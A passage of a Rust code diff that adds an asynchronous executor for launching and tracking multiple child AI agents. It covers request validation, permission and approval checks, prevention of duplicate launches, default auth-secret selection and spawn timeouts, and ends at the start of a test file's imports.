|
||||
false,
|
||||
)];
|
||||
let content = "line 1\nline 2\n".to_string();
|
||||
let content_map = HashMap::from([("src/main.rs".to_string(), content.clone())]);
|
||||
|
||||
let contexts = updated_file_contexts_from_editor_buffers(&updated_files, &content_map);
|
||||
|
||||
assert_eq!(contexts.len(), 1);
|
||||
assert!(!contexts[0].was_edited_by_user);
|
||||
assert_eq!(contexts[0].file_context.line_range, None);
|
||||
assert_eq!(contexts[0].file_context.line_count, 2);
|
||||
assert_eq!(
|
||||
contexts[0].file_context.content,
|
||||
AnyFileContent::StringContent(content)
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,788 @@
|
||||
//! Async executor for `AIAgentActionType::RunAgents`.
|
||||
//!
|
||||
//! Fans out per-child via [`super::start_agent::StartAgentExecutor::dispatch`]
|
||||
//! and aggregates the outcomes into a single `RunAgentsResult`.
|
||||
use std::collections::HashMap;
|
||||
use std::time::Duration;
|
||||
|
||||
use ai::agent::action::{RunAgentsAgentRunConfig, RunAgentsExecutionMode, RunAgentsRequest};
|
||||
use ai::agent::action_result::{
|
||||
RunAgentsAgentOutcome, RunAgentsAgentOutcomeKind, RunAgentsLaunchedExecutionMode,
|
||||
RunAgentsResult,
|
||||
};
|
||||
use ai::agent::orchestration_config::OrchestrationConfig;
|
||||
use ai::skills::SkillReference;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use settings::Setting;
|
||||
use warp_cli::agent::Harness;
|
||||
use galaxy_core::execution_mode::AppExecutionMode;
|
||||
use warpui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::start_agent::{StartAgentExecutor, StartAgentOutcome};
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType, AIAgentInput,
|
||||
StartAgentExecutionMode,
|
||||
};
|
||||
use crate::ai::auth_secret_types::auth_secret_types_for_harness;
|
||||
use crate::ai::blocklist::inline_action::orchestration_controls::OrchestrationEditState;
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryModel, BlocklistAIPermissions};
|
||||
use crate::ai::cloud_agent_settings::CloudAgentSettings;
|
||||
use crate::ai::document::plan_publication::{
|
||||
prepare_plan_publications, wait_for_plan_publications,
|
||||
};
|
||||
use crate::ai::local_harness_setup::local_harness_product_disabled_message;
|
||||
|
||||
/// Per-child spawn timeout. If a child agent doesn't report back within
|
||||
/// this window (e.g. binary not found, server error), the slot is failed
|
||||
/// rather than hanging the "Spawning agents" UI indefinitely.
|
||||
const SPAWN_TIMEOUT: Duration = Duration::from_secs(30);
|
||||
|
||||
/// Snapshot of an in-flight dispatch, carried through
|
||||
/// [`RunAgentsExecutorEvent::SpawningStarted`].
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct RunAgentsSpawningSnapshot {
|
||||
pub agent_count: usize,
|
||||
}
|
||||
|
||||
/// In-flight tracking per `RunAgents` action (idempotency guard).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum PendingRunAgents {
|
||||
Publishing,
|
||||
Spawning,
|
||||
}
|
||||
#[derive(Debug, Clone)]
|
||||
struct ExistingLaunchedAgent {
|
||||
name: String,
|
||||
agent_id: String,
|
||||
}
|
||||
|
||||
pub struct RunAgentsExecutor {
|
||||
pending: HashMap<AIAgentActionId, PendingRunAgents>,
|
||||
launched_agents: HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
terminal_view_id: EntityId,
|
||||
}
|
||||
|
||||
/// Lifecycle events for in-flight dispatches.
|
||||
pub enum RunAgentsExecutorEvent {
|
||||
SpawningStarted {
|
||||
action_id: AIAgentActionId,
|
||||
snapshot: RunAgentsSpawningSnapshot,
|
||||
},
|
||||
SpawningFinished {
|
||||
action_id: AIAgentActionId,
|
||||
},
|
||||
}
|
||||
|
||||
impl Entity for RunAgentsExecutor {
|
||||
type Event = RunAgentsExecutorEvent;
|
||||
}
|
||||
|
||||
impl RunAgentsExecutor {
|
||||
pub fn new(
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
terminal_view_id: EntityId,
|
||||
) -> Self {
|
||||
Self {
|
||||
pending: HashMap::new(),
|
||||
launched_agents: HashMap::new(),
|
||||
start_agent_executor,
|
||||
terminal_view_id,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn is_pending(&self, action_id: &AIAgentActionId) -> bool {
|
||||
self.pending.contains_key(action_id)
|
||||
}
|
||||
|
||||
/// Cancels a pending run so publication completion cannot fan out children.
|
||||
pub(super) fn cancel_execution(
|
||||
&mut self,
|
||||
action_id: &AIAgentActionId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
if matches!(
|
||||
self.pending.get(action_id),
|
||||
Some(PendingRunAgents::Publishing)
|
||||
) {
|
||||
self.pending.remove(action_id);
|
||||
ctx.emit(RunAgentsExecutorEvent::SpawningFinished {
|
||||
action_id: action_id.clone(),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
fn record_launched_agents(
|
||||
&mut self,
|
||||
conversation_id: AIConversationId,
|
||||
agents: &[RunAgentsAgentOutcome],
|
||||
) {
|
||||
for agent in agents {
|
||||
let RunAgentsAgentOutcomeKind::Launched { agent_id } = &agent.kind else {
|
||||
continue;
|
||||
};
|
||||
let Some(normalized_name) = normalize_agent_name(&agent.name) else {
|
||||
continue;
|
||||
};
|
||||
self.launched_agents
|
||||
.entry(conversation_id)
|
||||
.or_default()
|
||||
.insert(
|
||||
normalized_name,
|
||||
ExistingLaunchedAgent {
|
||||
name: agent.name.clone(),
|
||||
agent_id: agent_id.clone(),
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn duplicate_launched_agents_reason(
|
||||
&self,
|
||||
request: &RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &ModelContext<Self>,
|
||||
) -> Option<String> {
|
||||
duplicate_launched_agents_reason(
|
||||
request,
|
||||
parent_conversation_id,
|
||||
&self.launched_agents,
|
||||
ctx,
|
||||
)
|
||||
}
|
||||
|
||||
/// Publishes parent plans and dispatches children after a bounded best-effort wait.
|
||||
fn dispatch_prepared_run_agents(
|
||||
&mut self,
|
||||
action_id: AIAgentActionId,
|
||||
request: RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> async_channel::Receiver<RunAgentsResult> {
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
|
||||
if self.pending.contains_key(&action_id) {
|
||||
log::warn!("RunAgentsExecutor: dispatch reentered for {action_id:?}; rejecting");
|
||||
let _ = sender.try_send(RunAgentsResult::Cancelled);
|
||||
return receiver;
|
||||
}
|
||||
|
||||
if let Err(error) = validate_request(&request) {
|
||||
log::warn!("RunAgentsExecutor: validation failure: {error}");
|
||||
let _ = sender.try_send(RunAgentsResult::Failure { error });
|
||||
return receiver;
|
||||
}
|
||||
let pending_plan_publications = prepare_plan_publications(parent_conversation_id, ctx);
|
||||
|
||||
let snapshot = RunAgentsSpawningSnapshot {
|
||||
agent_count: request.agent_run_configs.len(),
|
||||
};
|
||||
self.pending
|
||||
.insert(action_id.clone(), PendingRunAgents::Publishing);
|
||||
ctx.emit(RunAgentsExecutorEvent::SpawningStarted {
|
||||
action_id: action_id.clone(),
|
||||
snapshot,
|
||||
});
|
||||
|
||||
let action_id_for_wait = action_id.clone();
|
||||
ctx.spawn(
|
||||
async move {
|
||||
// Wait briefly for each plan to become server-backed without blocking
|
||||
// launch on a failed or slow publication. Resolves immediately when
|
||||
// there is nothing to wait on.
|
||||
wait_for_plan_publications(pending_plan_publications).await;
|
||||
request
|
||||
},
|
||||
move |me, request, ctx| {
|
||||
if !me.is_pending(&action_id_for_wait) {
|
||||
return;
|
||||
}
|
||||
me.dispatch_children_for_prepared_request(
|
||||
action_id_for_wait.clone(),
|
||||
request,
|
||||
parent_conversation_id,
|
||||
sender,
|
||||
ctx,
|
||||
)
|
||||
},
|
||||
);
|
||||
|
||||
receiver
|
||||
}
|
||||
|
||||
fn dispatch_children_for_prepared_request(
|
||||
&mut self,
|
||||
action_id: AIAgentActionId,
|
||||
request: RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
sender: async_channel::Sender<RunAgentsResult>,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
self.pending
|
||||
.insert(action_id.clone(), PendingRunAgents::Spawning);
|
||||
let parent_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&parent_conversation_id)
|
||||
.and_then(|c| c.run_id());
|
||||
|
||||
let RunAgentsRequest {
|
||||
execution_mode: run_execution_mode,
|
||||
harness_type,
|
||||
model_id,
|
||||
skills,
|
||||
agent_run_configs,
|
||||
base_prompt,
|
||||
harness_auth_secret_name,
|
||||
..
|
||||
} = request;
|
||||
|
||||
let mut slots: Vec<ChildSlot> = Vec::with_capacity(agent_run_configs.len());
|
||||
for cfg in &agent_run_configs {
|
||||
let prompt = compose_run_agents_child_prompt(&base_prompt, &cfg.prompt);
|
||||
let mode = match run_agents_to_start_agent_mode(
|
||||
&run_execution_mode,
|
||||
&harness_type,
|
||||
&model_id,
|
||||
&skills,
|
||||
harness_auth_secret_name.as_deref(),
|
||||
cfg,
|
||||
) {
|
||||
Ok(mode) => mode,
|
||||
Err(err) => {
|
||||
slots.push(ChildSlot::Failed(err));
|
||||
continue;
|
||||
}
|
||||
};
|
||||
if matches!(run_execution_mode, RunAgentsExecutionMode::Remote { .. })
|
||||
&& parent_run_id.is_none()
|
||||
{
|
||||
slots.push(ChildSlot::Failed(
|
||||
"Remote child agents require the parent run_id to be available.".to_string(),
|
||||
));
|
||||
continue;
|
||||
}
|
||||
let recv = self.start_agent_executor.update(ctx, |executor, exec_ctx| {
|
||||
executor.dispatch(
|
||||
cfg.name.clone(),
|
||||
prompt,
|
||||
mode,
|
||||
None, /* lifecycle_subscription */
|
||||
parent_conversation_id,
|
||||
parent_run_id.clone(),
|
||||
exec_ctx,
|
||||
)
|
||||
});
|
||||
slots.push(ChildSlot::Pending(recv));
|
||||
}
|
||||
|
||||
let agent_run_configs_for_result = agent_run_configs.clone();
|
||||
let action_id_for_aggr = action_id.clone();
|
||||
let run_model_id = model_id.clone();
|
||||
let run_harness_type = harness_type.clone();
|
||||
let run_execution_mode_for_aggr = run_execution_mode.clone();
|
||||
let parent_conversation_id_for_result = parent_conversation_id;
|
||||
|
||||
ctx.spawn(
|
||||
async move {
|
||||
let mut outcomes: Vec<RunAgentsAgentOutcomeKind> = Vec::with_capacity(slots.len());
|
||||
for slot in slots {
|
||||
let kind = match slot {
|
||||
ChildSlot::Failed(error) => RunAgentsAgentOutcomeKind::Failed { error },
|
||||
ChildSlot::Pending(recv) => {
|
||||
let timeout = warpui::r#async::Timer::after(SPAWN_TIMEOUT);
|
||||
match futures::future::select(Box::pin(recv.recv()), Box::pin(timeout))
|
||||
.await
|
||||
{
|
||||
futures::future::Either::Left((
|
||||
Ok(StartAgentOutcome::Started { agent_id }),
|
||||
_,
|
||||
)) => RunAgentsAgentOutcomeKind::Launched { agent_id },
|
||||
futures::future::Either::Left((
|
||||
Ok(StartAgentOutcome::Error(error)),
|
||||
_,
|
||||
)) => RunAgentsAgentOutcomeKind::Failed { error },
|
||||
futures::future::Either::Left((Err(_), _)) => {
|
||||
RunAgentsAgentOutcomeKind::Failed {
|
||||
error: "Cancelled before launch".to_string(),
|
||||
}
|
||||
}
|
||||
futures::future::Either::Right((_, _)) => {
|
||||
log::warn!(
|
||||
"Agent spawn timed out after {} seconds",
|
||||
SPAWN_TIMEOUT.as_secs()
|
||||
);
|
||||
RunAgentsAgentOutcomeKind::Failed {
|
||||
error: format!(
|
||||
"Agent failed to start within {} seconds. \
|
||||
The harness binary may not be installed.",
|
||||
SPAWN_TIMEOUT.as_secs()
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
outcomes.push(kind);
|
||||
}
|
||||
outcomes
|
||||
},
|
||||
move |me, outcomes, ctx| {
|
||||
let agents: Vec<RunAgentsAgentOutcome> = agent_run_configs_for_result
|
||||
.iter()
|
||||
.zip(outcomes)
|
||||
.map(|(cfg, kind)| RunAgentsAgentOutcome {
|
||||
name: cfg.name.clone(),
|
||||
kind,
|
||||
})
|
||||
.collect();
|
||||
me.record_launched_agents(parent_conversation_id_for_result, &agents);
|
||||
let launched_mode = match &run_execution_mode_for_aggr {
|
||||
RunAgentsExecutionMode::Local => RunAgentsLaunchedExecutionMode::Local,
|
||||
RunAgentsExecutionMode::Remote {
|
||||
environment_id,
|
||||
worker_host,
|
||||
computer_use_enabled,
|
||||
} => RunAgentsLaunchedExecutionMode::Remote {
|
||||
environment_id: environment_id.clone(),
|
||||
worker_host: worker_host.clone(),
|
||||
computer_use_enabled: *computer_use_enabled,
|
||||
},
|
||||
};
|
||||
let result = RunAgentsResult::Launched {
|
||||
model_id: run_model_id,
|
||||
harness_type: run_harness_type,
|
||||
execution_mode: launched_mode,
|
||||
agents,
|
||||
};
|
||||
me.pending.remove(&action_id_for_aggr);
|
||||
ctx.emit(RunAgentsExecutorEvent::SpawningFinished {
|
||||
action_id: action_id_for_aggr,
|
||||
});
|
||||
let _ = sender.try_send(result);
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
pub(super) fn execute(
|
||||
&mut self,
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> impl Into<AnyActionExecution> {
|
||||
let AIAgentAction { action, id, .. } = input.action;
|
||||
let AIAgentActionType::RunAgents(request) = action else {
|
||||
return ActionExecution::InvalidAction;
|
||||
};
|
||||
let mut request = request.clone();
|
||||
let action_id = id.clone();
|
||||
let parent_conversation_id = input.conversation_id;
|
||||
if let Some(reason) = prepare_request_for_execution(
|
||||
&mut request,
|
||||
parent_conversation_id,
|
||||
self.terminal_view_id,
|
||||
&self.launched_agents,
|
||||
ctx,
|
||||
) {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::RunAgents(
|
||||
RunAgentsResult::Denied { reason },
|
||||
));
|
||||
}
|
||||
|
||||
let receiver =
|
||||
self.dispatch_prepared_run_agents(action_id, request, parent_conversation_id, ctx);
|
||||
|
||||
ActionExecution::new_async(
|
||||
async move { receiver.recv().await },
|
||||
|result, _| match result {
|
||||
Ok(r) => AIAgentActionResultType::RunAgents(r),
|
||||
Err(_) => AIAgentActionResultType::RunAgents(RunAgentsResult::Cancelled),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
&self,
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> bool {
|
||||
let AIAgentActionType::RunAgents(request) = &input.action.action else {
|
||||
return false;
|
||||
};
|
||||
if AppExecutionMode::as_ref(ctx).is_autonomous() {
|
||||
return true;
|
||||
}
|
||||
let mut resolved_request = request.clone();
|
||||
resolve_request_from_approved_config(&mut resolved_request, input.conversation_id, ctx);
|
||||
populate_default_auth_secret_for_execution(&mut resolved_request, ctx);
|
||||
if self
|
||||
.duplicate_launched_agents_reason(&resolved_request, input.conversation_id, ctx)
|
||||
.is_some()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
approved_orchestration_config_can_autoexecute(request, input.conversation_id, ctx)
|
||||
|| BlocklistAIPermissions::as_ref(ctx)
|
||||
.get_run_agents_setting(ctx, Some(self.terminal_view_id))
|
||||
.is_always_allow()
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
&mut self,
|
||||
_action: PreprocessActionInput,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) -> BoxFuture<'static, ()> {
|
||||
futures::future::ready(()).boxed()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "run_agents_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
enum ChildSlot {
|
||||
Failed(String),
|
||||
Pending(async_channel::Receiver<StartAgentOutcome>),
|
||||
}
|
||||
|
||||
fn approved_orchestration_config_can_autoexecute(
|
||||
request: &RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> bool {
|
||||
let mut resolved_request = request.clone();
|
||||
resolve_request_from_approved_config(&mut resolved_request, parent_conversation_id, ctx)
|
||||
.is_some_and(|status| status.is_approved())
|
||||
&& can_execute_with_auth_secret(&resolved_request, ctx)
|
||||
}
|
||||
|
||||
fn resolve_request_from_approved_config(
|
||||
request: &mut RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<ai::agent::orchestration_config::OrchestrationConfigStatus> {
|
||||
let conversation =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(&parent_conversation_id)?;
|
||||
let (config, status) = conversation.orchestration_config_for_plan(&request.plan_id)?;
|
||||
if status.is_approved() {
|
||||
resolve_request_from_config(request, config);
|
||||
}
|
||||
Some(status)
|
||||
}
|
||||
|
||||
/// Normalizes the request and returns a denial reason when launch is blocked.
|
||||
///
|
||||
/// Autonomous agents always run: their calls may still inherit approved plan
|
||||
/// config fields and default auth secrets, but they bypass interactive policy
|
||||
/// denials because they cannot present a confirmation card.
|
||||
fn prepare_request_for_execution(
|
||||
request: &mut RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
terminal_view_id: EntityId,
|
||||
launched_agents: &HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<String> {
|
||||
let status = resolve_request_from_approved_config(request, parent_conversation_id, ctx);
|
||||
populate_default_auth_secret_for_execution(request, ctx);
|
||||
if let Some(reason) =
|
||||
duplicate_launched_agents_reason(request, parent_conversation_id, launched_agents, ctx)
|
||||
{
|
||||
return Some(reason);
|
||||
}
|
||||
|
||||
if AppExecutionMode::as_ref(ctx).is_autonomous() {
|
||||
return None;
|
||||
}
|
||||
|
||||
if status.is_some_and(|status| status.is_disapproved()) {
|
||||
return Some("Orchestration config was disapproved".to_string());
|
||||
}
|
||||
|
||||
if BlocklistAIPermissions::as_ref(ctx)
|
||||
.get_run_agents_setting(ctx, Some(terminal_view_id))
|
||||
.is_never_allow()
|
||||
{
|
||||
return Some(
|
||||
"Running child agents is disabled by the active execution profile.".to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
if !can_execute_with_auth_secret(request, ctx) {
|
||||
return Some(
|
||||
"Cloud child agents using this harness require an API key before they can run."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
fn duplicate_launched_agents_reason(
|
||||
request: &RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
launched_agents: &HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<String> {
|
||||
let requested_agents = request
|
||||
.agent_run_configs
|
||||
.iter()
|
||||
.map(|cfg| normalize_agent_name(&cfg.name).map(|name| (name, cfg.name.clone())))
|
||||
.collect::<Option<Vec<_>>>()?;
|
||||
if requested_agents.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let existing_agents =
|
||||
existing_launched_agents_for_conversation(parent_conversation_id, launched_agents, ctx);
|
||||
if existing_agents.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let duplicates = requested_agents
|
||||
.iter()
|
||||
.map(|(normalized_name, _)| existing_agents.get(normalized_name))
|
||||
.collect::<Option<Vec<_>>>()?;
|
||||
let duplicate_list = duplicates
|
||||
.iter()
|
||||
.map(|agent| format!("{} ({})", agent.name, agent.agent_id))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
let addresses = duplicates
|
||||
.iter()
|
||||
.map(|agent| agent.agent_id.as_str())
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
|
||||
Some(format!(
|
||||
"Requested agent(s) have already been launched: {duplicate_list}. \
|
||||
Do not start duplicate child agents; send any follow-up with send_message_to_agent \
|
||||
using the existing agent id(s): {addresses}."
|
||||
))
|
||||
}
|
||||
|
||||
fn existing_launched_agents_for_conversation(
|
||||
parent_conversation_id: AIConversationId,
|
||||
launched_agents: &HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> HashMap<String, ExistingLaunchedAgent> {
|
||||
let mut existing_agents = launched_agents
|
||||
.get(&parent_conversation_id)
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
|
||||
if let Some(conversation) =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(&parent_conversation_id)
|
||||
{
|
||||
for exchange in conversation.all_exchanges() {
|
||||
for input in &exchange.input {
|
||||
let AIAgentInput::ActionResult { result, .. } = input else {
|
||||
continue;
|
||||
};
|
||||
let AIAgentActionResultType::RunAgents(RunAgentsResult::Launched {
|
||||
agents, ..
|
||||
}) = &result.result
|
||||
else {
|
||||
continue;
|
||||
};
|
||||
for agent in agents {
|
||||
let RunAgentsAgentOutcomeKind::Launched { agent_id } = &agent.kind else {
|
||||
continue;
|
||||
};
|
||||
let Some(normalized_name) = normalize_agent_name(&agent.name) else {
|
||||
continue;
|
||||
};
|
||||
existing_agents.entry(normalized_name).or_insert_with(|| {
|
||||
ExistingLaunchedAgent {
|
||||
name: agent.name.clone(),
|
||||
agent_id: agent_id.clone(),
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
existing_agents
|
||||
}
|
||||
|
||||
fn normalize_agent_name(name: &str) -> Option<String> {
|
||||
let trimmed = name.trim();
|
||||
(!trimmed.is_empty()).then(|| trimmed.to_ascii_lowercase())
|
||||
}
|
||||
|
||||
fn requires_default_auth_secret_for_execution(request: &RunAgentsRequest) -> bool {
|
||||
if !request.execution_mode.is_remote() {
|
||||
return false;
|
||||
}
|
||||
let Some(harness) = Harness::parse_orchestration_harness(&request.harness_type) else {
|
||||
return false;
|
||||
};
|
||||
harness != Harness::Oz && !auth_secret_types_for_harness(harness).is_empty()
|
||||
}
|
||||
|
||||
fn can_execute_with_auth_secret(
|
||||
request: &RunAgentsRequest,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> bool {
|
||||
if !requires_default_auth_secret_for_execution(request) {
|
||||
return true;
|
||||
}
|
||||
if request
|
||||
.harness_auth_secret_name
|
||||
.as_deref()
|
||||
.is_some_and(|name| !name.trim().is_empty())
|
||||
{
|
||||
return true;
|
||||
}
|
||||
default_auth_secret_name_for_harness(&request.harness_type, ctx).is_some()
|
||||
}
|
||||
|
||||
fn default_auth_secret_name_for_harness(
|
||||
harness_type: &str,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<String> {
|
||||
let harness = Harness::parse_orchestration_harness(harness_type)?;
|
||||
if harness == Harness::Oz {
|
||||
return None;
|
||||
}
|
||||
CloudAgentSettings::as_ref(ctx)
|
||||
.last_selected_auth_secret
|
||||
.value()
|
||||
.get(harness.config_name())
|
||||
.cloned()
|
||||
.filter(|name| !name.trim().is_empty())
|
||||
}
|
||||
|
||||
fn populate_default_auth_secret_for_execution(
|
||||
request: &mut RunAgentsRequest,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) {
|
||||
if !requires_default_auth_secret_for_execution(request)
|
||||
|| request
|
||||
.harness_auth_secret_name
|
||||
.as_deref()
|
||||
.is_some_and(|name| !name.trim().is_empty())
|
||||
{
|
||||
return;
|
||||
}
|
||||
request.harness_auth_secret_name =
|
||||
default_auth_secret_name_for_harness(&request.harness_type, ctx);
|
||||
}
|
||||
|
||||
/// Unconditionally overrides run-wide fields on a `RunAgentsRequest`
|
||||
/// from the approved orchestration config, delegating to
|
||||
/// `OrchestrationEditState::override_from_approved_config`.
|
||||
fn resolve_request_from_config(request: &mut RunAgentsRequest, config: &OrchestrationConfig) {
|
||||
// The approved plan config is the source of truth for these run-wide fields,
|
||||
// so callers pass a mutable request and continue with the normalized value.
|
||||
let mut edit_state = OrchestrationEditState::from_run_agents_fields(
|
||||
&request.model_id,
|
||||
&request.harness_type,
|
||||
&request.execution_mode,
|
||||
);
|
||||
edit_state.override_from_approved_config(config);
|
||||
request.model_id = edit_state.model_id;
|
||||
request.harness_type = edit_state.harness_type;
|
||||
request.execution_mode = edit_state.execution_mode;
|
||||
}
|
||||
|
||||
/// Defence-in-depth validation; mirrors the card view's
|
||||
/// `accept_disabled_reason` check.
|
||||
fn validate_request(request: &RunAgentsRequest) -> Result<(), String> {
|
||||
if request.agent_run_configs.is_empty() {
|
||||
return Err("orchestrate: empty agent_run_configs".to_string());
|
||||
}
|
||||
if matches!(request.execution_mode, RunAgentsExecutionMode::Local) {
|
||||
if let Some(harness) = Harness::parse_local_child_harness(&request.harness_type) {
|
||||
if let Some(message) = local_harness_product_disabled_message(harness) {
|
||||
return Err(message.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
if matches!(
|
||||
request.execution_mode,
|
||||
RunAgentsExecutionMode::Remote { .. }
|
||||
) && request.harness_type.eq_ignore_ascii_case("opencode")
|
||||
{
|
||||
return Err("Remote child agents do not support the opencode harness yet.".to_string());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Joins `base_prompt` and a per-agent prompt with `"\n\n"`,
|
||||
/// falling back to whichever is non-empty.
|
||||
pub fn compose_run_agents_child_prompt(base_prompt: &str, per_agent_prompt: &str) -> String {
|
||||
let base_trimmed = base_prompt.trim();
|
||||
let per_agent_trimmed = per_agent_prompt.trim();
|
||||
match (base_trimmed.is_empty(), per_agent_trimmed.is_empty()) {
|
||||
(false, false) => format!("{base_prompt}\n\n{per_agent_prompt}"),
|
||||
(false, true) => base_prompt.to_string(),
|
||||
(true, false) => per_agent_prompt.to_string(),
|
||||
(true, true) => String::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Translates run-wide config into a per-child
|
||||
/// [`StartAgentExecutionMode`]. Returns `Err` for rejected
|
||||
/// combinations (e.g. OpenCode+Remote).
|
||||
///
|
||||
/// `run_auth_secret_name` is the managed-secret name the orchestration UI
|
||||
/// resolved for the run-wide harness; only Remote mode currently consumes
|
||||
/// it (Local children inherit auth from the user's shell environment).
|
||||
pub fn run_agents_to_start_agent_mode(
|
||||
run_execution_mode: &RunAgentsExecutionMode,
|
||||
run_harness_type: &str,
|
||||
run_model_id: &str,
|
||||
run_skills: &[SkillReference],
|
||||
run_auth_secret_name: Option<&str>,
|
||||
cfg: &RunAgentsAgentRunConfig,
|
||||
) -> Result<StartAgentExecutionMode, String> {
|
||||
match run_execution_mode {
|
||||
RunAgentsExecutionMode::Local => {
|
||||
let trimmed = run_harness_type.trim();
|
||||
// Propagate run-wide model selection for local launches.
|
||||
let trimmed_model_id = run_model_id.trim();
|
||||
let model_id = (!trimmed_model_id.is_empty()).then(|| trimmed_model_id.to_string());
|
||||
if trimmed.is_empty() || trimmed.eq_ignore_ascii_case("oz") {
|
||||
Ok(StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
})
|
||||
} else {
|
||||
if let Some(harness) = Harness::parse_local_child_harness(trimmed) {
|
||||
if let Some(message) = local_harness_product_disabled_message(harness) {
|
||||
return Err(message.to_string());
|
||||
}
|
||||
}
|
||||
Ok(StartAgentExecutionMode::Local {
|
||||
harness_type: Some(trimmed.to_string()),
|
||||
model_id,
|
||||
})
|
||||
}
|
||||
}
|
||||
RunAgentsExecutionMode::Remote {
|
||||
environment_id,
|
||||
worker_host,
|
||||
computer_use_enabled,
|
||||
} => {
|
||||
// OpenCode is unsupported on Remote.
|
||||
if run_harness_type.eq_ignore_ascii_case("opencode") {
|
||||
return Err(
|
||||
"Remote child agents do not support the opencode harness yet.".to_string(),
|
||||
);
|
||||
}
|
||||
Ok(StartAgentExecutionMode::Remote {
|
||||
environment_id: environment_id.clone(),
|
||||
skill_references: run_skills.to_vec(),
|
||||
model_id: run_model_id.to_string(),
|
||||
computer_use_enabled: *computer_use_enabled,
|
||||
worker_host: worker_host.clone(),
|
||||
harness_type: run_harness_type.to_string(),
|
||||
title: cfg.title.clone(),
|
||||
auth_secret_name: run_auth_secret_name
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty()),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,732 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use ai::agent::action::{RunAgentsAgentRunConfig, RunAgentsExecutionMode, RunAgentsRequest};
|
||||
use ai::agent::orchestration_config::{
|
||||
OrchestrationConfig, OrchestrationConfigStatus, OrchestrationExecutionMode,
|
||||
};
|
||||
use settings::Setting;
|
||||
use galaxy_core::execution_mode::ExecutionMode;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use warpui::{App, Entity, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::active_agent_views_model::ActiveAgentViewsModel;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::blocklist::{
|
||||
BlocklistAIHistoryModel, BlocklistAIPermissions, StartAgentExecutorEvent, StartAgentRequest,
|
||||
};
|
||||
use crate::ai::cloud_agent_settings::CloudAgentSettings;
|
||||
